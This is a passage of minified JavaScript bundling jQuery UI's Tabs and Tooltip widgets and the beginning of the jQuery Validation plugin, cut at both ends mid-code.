t=i,!1}),t===null&&(t=this.tabs.index(this.tabs.filter(".ui-tabs-active"))),(t===null||t===-1)&&(t=this.tabs.length?0:!1)),t!==!1&&(t=this.tabs.index(this.tabs.eq(t)),t===-1&&(t=i?!1:0)),!i&&t===!1&&this.anchors.length&&(t=0),t},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):n()}},_tabKeydown:function(t){var r=n(n.ui.safeActiveElement(this.document[0])).closest("li"),i=this.tabs.index(r),u=!0;if(!this._handlePageNav(t)){switch(t.keyCode){case n.ui.keyCode.RIGHT:case n.ui.keyCode.DOWN:i++;break;case n.ui.keyCode.UP:case n.ui.keyCode.LEFT:u=!1;i--;break;case n.ui.keyCode.END:i=this.anchors.length-1;break;case n.ui.keyCode.HOME:i=0;break;case n.ui.keyCode.SPACE:t.preventDefault();clearTimeout(this.activating);this._activate(i);return;case n.ui.keyCode.ENTER:t.preventDefault();clearTimeout(this.activating);this._activate(i===this.options.active?!1:i);return;default:return}t.preventDefault();clearTimeout(this.activating);i=this._focusNextTab(i,u);t.ctrlKey||t.metaKey||(r.attr("aria-selected","false"),this.tabs.eq(i).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",i)},this.delay))}},_panelKeydown:function(t){this._handlePageNav(t)||t.ctrlKey&&t.keyCode===n.ui.keyCode.UP&&(t.preventDefault(),this.active.trigger("focus"))},_handlePageNav:function(t){return t.altKey&&t.keyCode===n.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):t.altKey&&t.keyCode===n.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):void 0},_findNextTab:function(t,i){function u(){return t>r&&(t=0),t<0&&(t=r),t}for(var r=this.tabs.length-1;n.inArray(u(),this.options.disabled)!==-1;)t=i?t+1:t-1;return t},_focusNextTab:function(n,t){return n=this._findNextTab(n,t),this.tabs.eq(n).trigger("focus"),n},_setOption:function(n,t){if(n==="active"){this._activate(t);return}this._super(n,t);n==="collapsible"&&(this._toggleClass("ui-tabs-collapsible",null,t),t||this.options.active!==!1||this._activate(0));n==="event"&&this._setupEvents(t);n==="heightStyle"&&this._setupHeightStyle(t)},_sanitizeSelector:function(n){return n?n.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var t=this.options,i=this.tablist.children(":has(a[href])");t.disabled=n.map(i.filter(".ui-state-disabled"),function(n){return i.index(n)});this._processTabs();t.active!==!1&&this.anchors.length?this.active.length&&!n.contains(this.tablist[0],this.active[0])?this.tabs.length===t.disabled.length?(t.active=!1,this.active=n()):this._activate(this._findNextTab(Math.max(0,t.active-1),!1)):t.active=this.tabs.index(this.active):(t.active=!1,this.active=n());this._refresh()},_refresh:function(){this._setOptionDisabled(this.options.disabled);this._setupEvents(this.options.event);this._setupHeightStyle(this.options.heightStyle);this.tabs.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1});this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-hidden":"true"});this.active.length?(this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}),this._addClass(this.active,"ui-tabs-active","ui-state-active"),this._getPanelForTab(this.active).show().attr({"aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var t=this,i=this.tabs,r=this.anchors,u=this.panels;this.tablist=this._getList().attr("role","tablist");this._addClass(this.tablist,"ui-tabs-nav","ui-helper-reset ui-helper-clearfix ui-widget-header");this.tablist.on("mousedown"+this.eventNamespace,"> li",function(t){n(this).is(".ui-state-disabled")&&t.preventDefault()}).on("focus"+this.eventNamespace,".ui-tabs-anchor",function(){n(this).closest("li").is(".ui-state-disabled")&&this.blur()});this.tabs=this.tablist.find("> li:has(a[href])").attr({role:"tab",tabIndex:-1});this._addClass(this.tabs,"ui-tabs-tab","ui-state-default");this.anchors=this.tabs.map(function(){return n("a",this)[0]}).attr({tabIndex:-1});this._addClass(this.anchors,"ui-tabs-anchor");this.panels=n();this.anchors.each(function(i,r){var f,u,e,s=n(r).uniqueId().attr("id"),o=n(r).closest("li"),h=o.attr("aria-controls");t._isLocal(r)?(f=r.hash,e=f.substring(1),u=t.element.find(t._sanitizeSelector(f))):(e=o.attr("aria-controls")||n({}).uniqueId()[0].id,f="#"+e,u=t.element.find(f),u.length||(u=t._createPanel(e),u.insertAfter(t.panels[i-1]||t.tablist)),u.attr("aria-live","polite"));u.length&&(t.panels=t.panels.add(u));h&&o.data("ui-tabs-aria-controls",h);o.attr({"aria-controls":e,"aria-labelledby":s});u.attr("aria-labelledby",s)});this.panels.attr("role","tabpanel");this._addClass(this.panels,"ui-tabs-panel","ui-widget-content");i&&(this._off(i.not(this.tabs)),this._off(r.not(this.anchors)),this._off(u.not(this.panels)))},_getList:function(){return this.tablist||this.element.find("ol, ul").eq(0)},_createPanel:function(t){return n("<div>").attr("id",t).data("ui-tabs-destroy",!0)},_setOptionDisabled:function(t){var i,u,r;for(Array.isArray(t)&&(t.length?t.length===this.anchors.length&&(t=!0):t=!1),r=0;u=this.tabs[r];r++)i=n(u),t===!0||n.inArray(r,t)!==-1?(i.attr("aria-disabled","true"),this._addClass(i,null,"ui-state-disabled")):(i.removeAttr("aria-disabled"),this._removeClass(i,null,"ui-state-disabled"));this.options.disabled=t;this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,t===!0)},_setupEvents:function(t){var i={};t&&n.each(t.split(" "),function(n,t){i[t]="_eventHandler"});this._off(this.anchors.add(this.tabs).add(this.panels));this._on(!0,this.anchors,{click:function(n){n.preventDefault()}});this._on(this.anchors,i);this._on(this.tabs,{keydown:"_tabKeydown"});this._on(this.panels,{keydown:"_panelKeydown"});this._focusable(this.tabs);this._hoverable(this.tabs)},_setupHeightStyle:function(t){var i,r=this.element.parent();t==="fill"?(i=r.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var t=n(this),r=t.css("position");r!=="absolute"&&r!=="fixed"&&(i-=t.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=n(this).outerHeight(!0)}),this.panels.each(function(){n(this).height(Math.max(0,i-n(this).innerHeight()+n(this).height()))}).css("overflow","auto")):t==="auto"&&(i=0,this.panels.each(function(){i=Math.max(i,n(this).height("").height())}).height(i))},_eventHandler:function(t){var u=this.options,r=this.active,c=n(t.currentTarget),i=c.closest("li"),f=i[0]===r[0],e=f&&u.collapsible,o=e?n():this._getPanelForTab(i),s=r.length?this._getPanelForTab(r):n(),h={oldTab:r,oldPanel:s,newTab:e?n():i,newPanel:o};(t.preventDefault(),i.hasClass("ui-state-disabled")||i.hasClass("ui-tabs-loading")||this.running||f&&!u.collapsible||this._trigger("beforeActivate",t,h)===!1)||(u.active=e?!1:this.tabs.index(i),this.active=f?n():i,this.xhr&&this.xhr.abort(),s.length||o.length||n.error("jQuery UI Tabs: Mismatching fragment identifier."),o.length&&this.load(this.tabs.index(i),t),this._toggle(t,h))},_toggle:function(t,i){function e(){r.running=!1;r._trigger("activate",t,i)}function o(){r._addClass(i.newTab.closest("li"),"ui-tabs-active","ui-state-active");u.length&&r.options.show?r._show(u,r.options.show,e):(u.show(),e())}var r=this,u=i.newPanel,f=i.oldPanel;this.running=!0;f.length&&this.options.hide?this._hide(f,this.options.hide,function(){r._removeClass(i.oldTab.closest("li"),"ui-tabs-active","ui-state-active");o()}):(this._removeClass(i.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),f.hide(),o());f.attr("aria-hidden","true");i.oldTab.attr({"aria-selected":"false","aria-expanded":"false"});u.length&&f.length?i.oldTab.attr("tabIndex",-1):u.length&&this.tabs.filter(function(){return n(this).attr("tabIndex")===0}).attr("tabIndex",-1);u.attr("aria-hidden","false");i.newTab.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_activate:function(t){var r,i=this._findActive(t);i[0]!==this.active[0]&&(i.length||(i=this.active),r=i.find(".ui-tabs-anchor")[0],this._eventHandler({target:r,currentTarget:r,preventDefault:n.noop}))},_findActive:function(t){return t===!1?n():this.tabs.eq(t)},_getIndex:function(t){return typeof t=="string"&&(t=this.anchors.index(this.anchors.filter("[href$='"+n.escapeSelector(t)+"']"))),t},_destroy:function(){this.xhr&&this.xhr.abort();this.tablist.removeAttr("role").off(this.eventNamespace);this.anchors.removeAttr("role tabIndex").removeUniqueId();this.tabs.add(this.panels).each(function(){n.data(this,"ui-tabs-destroy")?n(this).remove():n(this).removeAttr("role tabIndex aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded")});this.tabs.each(function(){var t=n(this),i=t.data("ui-tabs-aria-controls");i?t.attr("aria-controls",i).removeData("ui-tabs-aria-controls"):t.removeAttr("aria-controls")});this.panels.show();this.options.heightStyle!=="content"&&this.panels.css("height","")},enable:function(t){var i=this.options.disabled;i!==!1&&(t===undefined?i=!1:(t=this._getIndex(t),i=Array.isArray(i)?n.map(i,function(n){return n!==t?n:null}):n.map(this.tabs,function(n,i){return i!==t?i:null})),this._setOptionDisabled(i))},disable:function(t){var i=this.options.disabled;if(i!==!0){if(t===undefined)i=!0;else{if(t=this._getIndex(t),n.inArray(t,i)!==-1)return;i=Array.isArray(i)?n.merge([t],i).sort():[t]}this._setOptionDisabled(i)}},load:function(t,i){t=this._getIndex(t);var r=this,u=this.tabs.eq(t),e=u.find(".ui-tabs-anchor"),f=this._getPanelForTab(u),o={tab:u,panel:f},s=function(n,t){t==="abort"&&r.panels.stop(!1,!0);r._removeClass(u,"ui-tabs-loading");f.removeAttr("aria-busy");n===r.xhr&&delete r.xhr};this._isLocal(e[0])||(this.xhr=n.ajax(this._ajaxSettings(e,i,o)),this.xhr&&this.xhr.statusText!=="canceled"&&(this._addClass(u,"ui-tabs-loading"),f.attr("aria-busy","true"),this.xhr.done(function(n,t,u){setTimeout(function(){f.html(n);r._trigger("load",i,o);s(u,t)},1)}).fail(function(n,t){setTimeout(function(){s(n,t)},1)})))},_ajaxSettings:function(t,i,r){var u=this;return{url:t.attr("href").replace(/#.*$/,""),beforeSend:function(t,f){return u._trigger("beforeLoad",i,n.extend({jqXHR:t,ajaxSettings:f},r))}}},_getPanelForTab:function(t){var i=n(t).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+i))}});n.uiBackCompat!==!1&&n.widget("ui.tabs",n.ui.tabs,{_processTabs:function(){this._superApply(arguments);this._addClass(this.tabs,"ui-tab")}});gr=n.ui.tabs;
/*!
 * jQuery UI Tooltip 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
n.widget("ui.tooltip",{version:"1.13.2",options:{classes:{"ui-tooltip":"ui-corner-all ui-widget-shadow"},content:function(){var t=n(this).attr("title");return n("<a>").text(t).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,track:!1,close:null,open:null},_addDescribedBy:function(n,t){var i=(n.attr("aria-describedby")||"").split(/\s+/);i.push(t);n.data("ui-tooltip-id",t).attr("aria-describedby",String.prototype.trim.call(i.join(" ")))},_removeDescribedBy:function(t){var u=t.data("ui-tooltip-id"),i=(t.attr("aria-describedby")||"").split(/\s+/),r=n.inArray(u,i);r!==-1&&i.splice(r,1);t.removeData("ui-tooltip-id");i=String.prototype.trim.call(i.join(" "));i?t.attr("aria-describedby",i):t.removeAttr("aria-describedby")},_create:function(){this._on({mouseover:"open",focusin:"open"});this.tooltips={};this.parents={};this.liveRegion=n("<div>").attr({role:"log","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body);this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible");this.disabledTitles=n([])},_setOption:function(t,i){var r=this;this._super(t,i);t==="content"&&n.each(this.tooltips,function(n,t){r._updateContent(t.element)})},_setOptionDisabled:function(n){this[n?"_disable":"_enable"]()},_disable:function(){var t=this;n.each(this.tooltips,function(i,r){var u=n.Event("blur");u.target=u.currentTarget=r.element[0];t.close(u,!0)});this.disabledTitles=this.disabledTitles.add(this.element.find(this.options.items).addBack().filter(function(){var t=n(this);if(t.is("[title]"))return t.data("ui-tooltip-title",t.attr("title")).removeAttr("title")}))},_enable:function(){this.disabledTitles.each(function(){var t=n(this);t.data("ui-tooltip-title")&&t.attr("title",t.data("ui-tooltip-title"))});this.disabledTitles=n([])},open:function(t){var r=this,i=n(t?t.target:this.element).closest(this.options.items);i.length&&!i.data("ui-tooltip-id")&&(i.attr("title")&&i.data("ui-tooltip-title",i.attr("title")),i.data("ui-tooltip-open",!0),t&&t.type==="mouseover"&&i.parents().each(function(){var t=n(this),i;t.data("ui-tooltip-open")&&(i=n.Event("blur"),i.target=i.currentTarget=this,r.close(i,!0));t.attr("title")&&(t.uniqueId(),r.parents[this.id]={element:this,title:t.attr("title")},t.attr("title",""))}),this._registerCloseHandlers(t,i),this._updateContent(i,t))},_updateContent:function(n,t){var r,i=this.options.content,u=this,f=t?t.type:null;if(typeof i=="string"||i.nodeType||i.jquery)return this._open(t,n,i);r=i.call(n[0],function(i){u._delay(function(){n.data("ui-tooltip-open")&&(t&&(t.type=f),this._open(t,n,i))})});r&&this._open(t,n,r)},_open:function(t,i,r){function s(n){(o.of=n,u.is(":hidden"))||u.position(o)}var f,u,h,e,o=n.extend({},this.options.position);if(r){if(f=this._find(i),f){f.tooltip.find(".ui-tooltip-content").html(r);return}i.is("[title]")&&(t&&t.type==="mouseover"?i.attr("title",""):i.removeAttr("title"));f=this._tooltip(i);u=f.tooltip;this._addDescribedBy(i,u.attr("id"));u.find(".ui-tooltip-content").html(r);this.liveRegion.children().hide();e=n("<div>").html(u.find(".ui-tooltip-content").html());e.removeAttr("name").find("[name]").removeAttr("name");e.removeAttr("id").find("[id]").removeAttr("id");e.appendTo(this.liveRegion);this.options.track&&t&&/^mouse/.test(t.type)?(this._on(this.document,{mousemove:s}),s(t)):u.position(n.extend({"of":i},this.options.position));u.hide();this._show(u,this.options.show);this.options.track&&this.options.show&&this.options.show.delay&&(h=this.delayedShow=setInterval(function(){u.is(":visible")&&(s(o.of),clearInterval(h))},13));this._trigger("open",t,{tooltip:u})}},_registerCloseHandlers:function(t,i){var r={keyup:function(t){if(t.keyCode===n.ui.keyCode.ESCAPE){var r=n.Event(t);r.currentTarget=i[0];this.close(r,!0)}}};i[0]!==this.element[0]&&(r.remove=function(){var n=this._find(i);n&&this._removeTooltip(n.tooltip)});t&&t.type!=="mouseover"||(r.mouseleave="close");t&&t.type!=="focusin"||(r.focusout="close");this._on(!0,i,r)},close:function(t){var u,f=this,i=n(t?t.currentTarget:this.element),r=this._find(i);if(!r){i.removeData("ui-tooltip-open");return}(u=r.tooltip,r.closing)||(clearInterval(this.delayedShow),i.data("ui-tooltip-title")&&!i.attr("title")&&i.attr("title",i.data("ui-tooltip-title")),this._removeDescribedBy(i),r.hiding=!0,u.stop(!0),this._hide(u,this.options.hide,function(){f._removeTooltip(n(this))}),i.removeData("ui-tooltip-open"),this._off(i,"mouseleave focusout keyup"),i[0]!==this.element[0]&&this._off(i,"remove"),this._off(this.document,"mousemove"),t&&t.type==="mouseleave"&&n.each(this.parents,function(t,i){n(i.element).attr("title",i.title);delete f.parents[t]}),r.closing=!0,this._trigger("close",t,{tooltip:u}),r.hiding||(r.closing=!1))},_tooltip:function(t){var i=n("<div>").attr("role","tooltip"),r=n("<div>").appendTo(i),u=i.uniqueId().attr("id");return this._addClass(r,"ui-tooltip-content"),this._addClass(i,"ui-tooltip","ui-widget ui-widget-content"),i.appendTo(this._appendTo(t)),this.tooltips[u]={element:t,tooltip:i}},_find:function(n){var t=n.data("ui-tooltip-id");return t?this.tooltips[t]:null},_removeTooltip:function(n){clearInterval(this.delayedShow);n.remove();delete this.tooltips[n.attr("id")]},_appendTo:function(n){var t=n.closest(".ui-front, dialog");return t.length||(t=this.document[0].body),t},_destroy:function(){var t=this;n.each(this.tooltips,function(i,r){var f=n.Event("blur"),u=r.element;f.target=f.currentTarget=u[0];t.close(f,!0);n("#"+i).remove();u.data("ui-tooltip-title")&&(u.attr("title")||u.attr("title",u.data("ui-tooltip-title")),u.removeData("ui-tooltip-title"))});this.liveRegion.remove()}});n.uiBackCompat!==!1&&n.widget("ui.tooltip",n.ui.tooltip,{options:{tooltipClass:null},_tooltip:function(){var n=this._superApply(arguments);return this.options.tooltipClass&&n.tooltip.addClass(this.options.tooltipClass),n}});nu=n.ui.tooltip}),function(n){n.extend(n.fn,{validate:function(t){if(!this.length){t&&t.debug&&window.console&&console.warn("nothing selected, can't validate, returning nothing");return}var i=n.data(this[0],"validator");return i?i:(i=new n.validator(t,this[0]),n.data(this[0],"validator",i),i.settings.onsubmit&&(this.find("input, button").filter(".cancel").click(function(){i.cancelSubmit=!0}),i.settings.submitHandler&&this.find("input, button").filter(":submit").click(function(){i.submitButton=this}),this.submit(function(t){function r(){if(i.settings.submitHandler){if(i.submitButton)var t=n("<input type='hidden'/>").attr("name",i.submitButton.name).val(i.submitButton.value).appendTo(i.currentForm);return i.settings.submitHandler.call(i,i.currentForm),i.submitButton&&t.remove(),!1}return!0}return(i.settings.debug&&t.preventDefault(),i.cancelSubmit)?(i.cancelSubmit=!1,r()):i.form()?i.pendingRequest?(i.formSubmitted=!0,!1):r():(i.focusInvalid(),!1)})),i)},valid:function(){if(n(this[0]).is("form"))return this.validate().form();var t=!0,i=n(this[0].form).validate();return this.each(function(){t&=i.element(this)}),t},removeAttrs:function(t){var i={},r=this;return n.each(t.split(/\s/),function(n,t){i[t]=r.attr(t);r.removeAttr(t)}),i},rules:function(t,i){var r=this[0],o,u,h;if(t){var e=n.data(r.form,"validator").settings,s=e.rules,f=n.validator.staticRules(r);switch(t){case"add":n.extend(f,n.validator.normalizeRule(i));s[r.name]=f;i.messages&&(e.messages[r.name]=n.extend(e.messages[r.name],i.messages));break;case"remove":return i?(o={},n.each(i.split(/\s/),function(n,t){o[t]=f[t];delete f[t]}),o):(delete s[r.name],f)}}return u=n.validator.normalizeRules(n.extend({},n.validator.metadataRules(r),n.validator.classRules(r),n.validator.attributeRules(r),n.validator.staticRules(r)),r),u.required&&(h=u.required,delete u.required,u=n.extend({required:h},u)),u}});n.extend(n.expr[":"],{blank:function(t){return!n.trim(""+t.value)},filled:function(t){return!!n.trim(""+t.value)},unchecked:function(n){return!n.checked}});n.validator=function(t,i){this.settings=n.extend(!0,{},n.validator.defaults,t);this.currentForm=i;this.init()};n.validator.format=function(t,i){return arguments.length==1?function(){var i=n.makeArray(arguments);return i.unshift(t),n.validator.format.apply(this,i)}:(arguments.length>2&&i.constructor!=Array&&(i=n.makeArray(arguments).slice(1)),i.constructor!=Array&&(i=[i]),n.each(i,function(n,i){t=t.replace(new RegExp("\\{"+n+"\\}","g"),i)}),t)};n.extend(n.validator,{defaults:{messages:{},groups:{},rules:{},errorClass:"error",validClass:"valid",errorElement:"label",focusInvalid:!0,errorContainer:n([]),errorLabelContainer:n([]),onsubmit:!0,ignore:[],ignoreTitle:!1,onfocusin:function(n){this.lastActive=n;this.settings.focusCleanup&&!this.blockFocusCleanup&&(this.settings.unhighlight&&this.settings.unhighlight.call(this,n,this.settings.errorClass,this.settings.validClass),this.addWrapper(this.errorsFor(n)).hide())},onfocusout:function(n){!this.checkable(n)&&(n.name in this.submitted||!this.optional(n))&&this.element(n)},onkeyup:function(n){(n.name in this.submitted||n==this.lastElement)&&this.element(n)},onclick:function(n){n.name in this.submitted?this.element(n):n.parentNode.name in this.submitted&&this.element(n.parentNode)},highlight:function(t,i,r){n(t).addClass(i).removeClass(r)},unhighlight:function(t,i,r){n(t).removeClass(i).addClass(r)}},setDefaults:function(t){n.extend(n.validator.defaults,t)},messages:{required:"This field is required.",remote:"Please fix this field.",email:"Please enter a valid email address.",url:"Please enter a valid URL.",date:"Please enter a valid date.",dateISO:"Please enter a valid date (ISO).",number:"Please enter a valid number.",digits:"Please enter only digits.",creditcard:"Please enter a valid credit card number.",equalTo:"Please enter the same value again.",accept:"Please enter a value with a valid extension.",maxlength:n.validator.format("Please enter no more than {0} characters."),minlength:n.validator.format("Please enter at least {0} characters."),rangelength:n.validator.format("Please enter a value between {0} and {1} characters long."),range:n.validator.format("Please enter a value between {0} and {1}."),max:n.validator.format("Please enter a value less than or equal to {0}."),min:n.validator.format("Please enter a value greater than or equal to {0}.")},autoCreateRanges:!1,prototype:{init:function(){function r(t){var i=n.data(this[0].form,"validator"),r="on"+t.type.replace(/^validate/,"");i.settings[r]&&i.settings[r].call(i,this[0])}var i,t;this.labelContainer=n(this.settings.errorLabelContainer);this.errorContext=this.labelContainer.length&&this.labelContainer||n(this.currentForm);this.containers=n(this.settings.errorContainer).add(this.settings.errorLabelContainer);this.submitted={};this.valueCache={};this.pendingRequest=0;this.pending={};this.invalid={};this.reset();i=this.groups={};n.each(this.settings.groups,function(t,r){n.each(r.split(/\s/),function(n,r){i[r]=t})});t=this.settings.rules;n.each(t,function(i,r){t[i]=n.validator.normalizeRule(r)});n(this.currentForm).validateDelegate(":text, :password, :file, select, textarea","focusin focusout keyup",r).validateDelegate(":radio, :checkbox, select, option","click",r);this.settings.invalidHandler&&n(this.currentForm).bind("invalid-form.validate",this.settings.invalidHandler)},form:function(){return this.checkForm(),n.extend(this.submitted,this.errorMap),this.invalid=n.extend({},this.errorMap),this.valid()||n(this.currentForm).triggerHandler("invalid-form",[this]),this.showErrors(),this.valid()},checkForm:function(){this.prepareForm();for(var n=0,t=this.currentElements=this.elements();t[n];n++)this.check(t[n]);return this.valid()},element:function(t){t=this.clean(t);this.lastElement=t;this.prepareElement(t);this.currentElements=n(t);var i=this.check(t);return i?delete this.invalid[t.name]:this.invalid[t.name]=!0,this.numberOfInvalids()||(this.toHide=this.toHide.add(this.containers)),this.showErrors(),i},showErrors:function(t){if(t){n.extend(this.errorMap,t);this.errorList=[];for(var i in t)this.errorList.push({message:t[i],element:this.findByName(i)[0]});this.successList=n.grep(this.successList,function(n){return!(n.name in t)})}this.settings.showErrors?this.settings.showErrors.call(this,this.errorMap,this.errorList):this.defaultShowErrors()},resetForm:function(){n.fn.resetForm&&n(this.currentForm).resetForm();this.submitted={};this.prepareForm();this.hideErrors();this.elements().removeClass(this.settings.errorClass)},numberOfInvalids:function(){return this.objectLength(this.invalid)},objectLength:function(n){var t=0;for(var i in n)t++;return t},hideErrors:function(){this.addWrapper(this.toHide).hide()},valid:function(){return this.size()==0},size:function(){return this.errorList.length},focusInvalid:function(){if(this.settings.focusInvalid)try{n(this.findLastActive()||this.errorList.length&&this.errorList[0].element||[]).filter(":visible").focus().trigger("focusin")}catch(t){}},findLastActive:function(){var t=this.lastActive;return t&&n.grep(this.errorList,function(n){return n.element.name==t.name}).length==1&&t},elements:function(){var t=this,i={};return n([]).add(this.currentForm.elements).filter(":input").not(":submit, :reset, :image, [disabled]").not(this.settings.ignore).filter(function(){return(!this.name&&t.settings.debug&&window.console&&console.error("%o has no name assigned",this),this.name in i||!t.objectLength(n(this).rules()))?!1:(i[this.name]=!0,!0)})},clean:function(t){return n(t)[0]},errors:function(){return n(this.settings.errorElement+"."+this.settings.errorClass,this.errorContext)},reset:function(){this.successList=[];this.errorList=[];this.errorMap={};this.toShow=n([]);this.toHide=n([]);this.currentElements=n([])},prepareForm:function(){this.reset();this.toHide=this.errors().add(this.containers)},prepareElement:function(n){this.reset();this.toHide=this.errorsFor(n)},check:function(t){var i,r,u,f,e;t=this.clean(t);this.checkable(t)&&(t=this.findByName(t.name).not(this.settings.ignore)[0]);i=n(t).rules();r=!1;for(u in i){f={method:u,parameters:i[u]};try{if(e=n.validator.methods[u].call(this,t.value.replace(/\r/g,""),t,f.parameters),e=="dependency-mismatch"){r=!0;continue}if(r=!1,e=="pending"){this.toHide=this.toHide.not(this.errorsFor(t));return}if(!e)return this.formatAndAdd(t,f),!1}catch(o){this.settings.debug&&window.console&&console.log("exception occured when checking element "+t.id+", check the '"+f.method+"' method",o);throw o;}}if(!r)return this.objectLength(i)&&this.successList.push(t),!0},customMetaMessage:function(t,i){if(n.metadata){var r=this.settings.meta?n(t).metadata()[this.settings.meta]:n(t).metadata();return r&&r.messages&&r.messages[i]}},customMessage:function(n,t){var i=this.settings.messages[n];return i&&(i.constructor==String?i:i[t])},findDefined:function(){for(var n=0;n<arguments.length;n++)if(arguments[n]!==undefined)return arguments[n];return undefined},defaultMessage:function(t,i){return this.findDefined(this.customMessage(t.name,i),this.customMetaMessage(t,i),!this.settings.ignoreTitle&&t.title||undefined,n.validator.messages[i],"<strong>Warning: No message defined for "+t.name+"<\/strong>")},formatAndAdd:function(n,t){var i=this.defaultMessage(n,t.method),r=/\$?\{(\d+)\}/g;typeof i=="function"?i=i.call(this,t.parameters,n):r.test(i)&&(i=jQuery.format(i.replace(r,"{$1}"),t.parameters));this.errorList.push({message:i,element:n});this.errorMap[n.name]=i;this.submitted[n.name]=i},addWrapper:function(n){return this.settings.wrapper&&(n=n.add(n.parent(this.settings.wrapper))),n},defaultShowErrors:function(){for(var t,i,n=0;this.errorList[n];n++)t=this.errorList[n],this.settings.highlight&&this.settings.highlight.call(this,t.element,this.settings.errorClass,this.settings.validClass),this.showLabel(t.element,t.message);if(this.errorList.length&&(this.toShow=this.toShow.add(this.containers)),this.settings.success)for(n=0;this.successList[n];n++)this.showLabel(this.successList[n]);if(this.settings.unhighlight)for(n=0,i=this.validElements();i[n];n++)this.settings.unhighlight.call(this,i[n],this.settings.errorClass,this.settings.validClass);this.toHide=this.toHide.not(this.toShow);this.hideErrors();this.addWrapper(this.toShow).show()},validElements:function(){return this.currentElements.not(this.invalidElements())},invalidElements:function(){return n(this.errorList).map(function(){return this.element})},showLabel:function(t,i){var r=this.errorsFor(t);r.length?(r.removeClass().addClass(this.settings.errorClass),r.attr("generated")&&r.html(i)):(r=n("<"+this.settings.errorElement+"/>").attr({"for":this.idOrName(t),generated:!0}).addClass(this.settings.errorClass).html(i||""),this.settings.wrapper&&(r=r.hide().show().wrap("<"+this.settings.wrapper+"/>").parent()),this.labelContainer.append(r).length||(this.settings.errorPlacement?this.settings.errorPlacement(r,n(t)):r.insertAfter(t)));!i&&this.settings.success&&(r.text(""),typeof this.settings.success=="string"?r.addClass(this.settings.success):this.settings.success(r));this.toShow=this.toShow.add(r)},errorsFor:function(t){var i=this.idOrName(t);return this.errors().filter(function(){return n(this).attr("for")==i})},idOrName:function(n){return this.groups[n.name]||(this.checkable(n)?n.name:n.id||n.name)},checkable:function(n){return/radio|checkbox/i.test(n.type)},findByName:function(t){var i=this.currentForm;return n(document.getElementsByName(t)).map(function(n,r){return r.form==i&&r.name==t&&r||null})},getLength:function(t,i){switch(i.nodeName.toLowerCase()){case"select":return n("option:selected",i).length;case"input":if(this.checkable(i))return this.findByName(i.name).filter(":checked").length}return t.length},depend:function(n,t){return this.dependTypes[typeof n]?this.dependTypes[typeof n](n,t):!0},dependTypes:{boolean:function(n){return n},string:function(t,i){return!!n(t,i.form).length},"function":function(n,t){return n(t)}},optional:function(t){return!n.validator.methods.required.call(this,n.trim(t.value),t)&&"dependency-mismatch"},startRequest:function(n){this.pending[n.name]||(this.pendingRequest++,this.pending[n.name]=!0)},stopRequest:function(t,i){this.pendingRequest--;this.pendingRequest<0&&(this.pendingRequest=0);delete this.pending[t.name];i&&this.pendingRequest==0&&this.formSubmitted&&this.form()?(n(this.currentForm).submit(),this.formSubmitted=!1):!i&&this.pendingRequest==0&&this.formSubmitted&&(n(this.currentForm).triggerHandler("invalid-form",[this]),this.formSubmitted=!1)},previousValue:function(t){return n.data(t,"previousValue")||n.data(t,"previousValue",{old:null,valid:!0,message:this.defaultMessage(t,"remote")})}},classRuleSettings:{required:{required:!0},email:{email:!0},url:{url:!0},date:{date:!0},dateISO:{dateISO:!0},dateDE:{dateDE:!0},number:{number:!0},numberDE:{numberDE:!0},digits:{digits:!0},creditcard:{creditcard:!0}},addClassRules:function(t,i){t.constructor==String?this.classRuleSettings[t]=i:n.extend(this.classRuleSettings,t)},classRules:function(t){var i={},r=n(t).attr("class");return r&&n.each(r.split(" "),function(){this in n.validator.classRuleSettings&&n.extend(i,n.validator.classRuleSettings[this])}),i},attributeRules:function(t){var i={},f=n(t),r,u;for(r in n.validator.methods)u=f.attr(r),u&&(i[r]=u);return i.maxlength&&/-1|2147483647|524288/.test(i.maxlength)&&delete i.maxlength,i},metadataRules:function(t){if(!n.metadata)return{};var i=n.data(t.form,"validator").settings.meta;return i?n(t).metadata()[i]:n(t).metadata()},staticRules:function(t){var i={},r=n.data(t.form,"validator");return r.settings.rules&&(i=n.validator.normalizeRule(r.settings.rules[t.name])||{}),i},normalizeRules:function(t,i){return n.each(t,function(r,u){if(u===!1){delete t[r];return}if(u.param||u.depends){var f=!0;switch(typeof u.depends){case"string":f=!!n(u.depends,i.form).length;break;case"function":f=u.depends.call(i,i)}f?t[r]=u.param!==undefined?u.param:!0:delete t[r]}}),n.each(t,function(r,u){t[r]=n.isFunction(u)?u(i):u}),n.each(["minlength","maxlength","min","max"],function(){t[this]&&(t[this]=Number(t[this]))}),n.each(["rangelength","range"],function(){t[this]&&(t[this]=[Number(t[this][0]),Number(t[this][1])])}),n.validator.autoCreateRanges&&(t.min&&t.max&&(t.range=[t.min,t.max],delete t.min,delete t.max),t.minlength&&t.maxlength&&(t.rangelength=[t.minlength,t.maxlength],delete t.minlength,delete t.maxlength)),t.messages&&delete t.messages,t},normalizeRule:function(t){if(typeof t=="string"){var i={};n.each(t.split(/\s/),function(){i[this]=!0});t=i}return 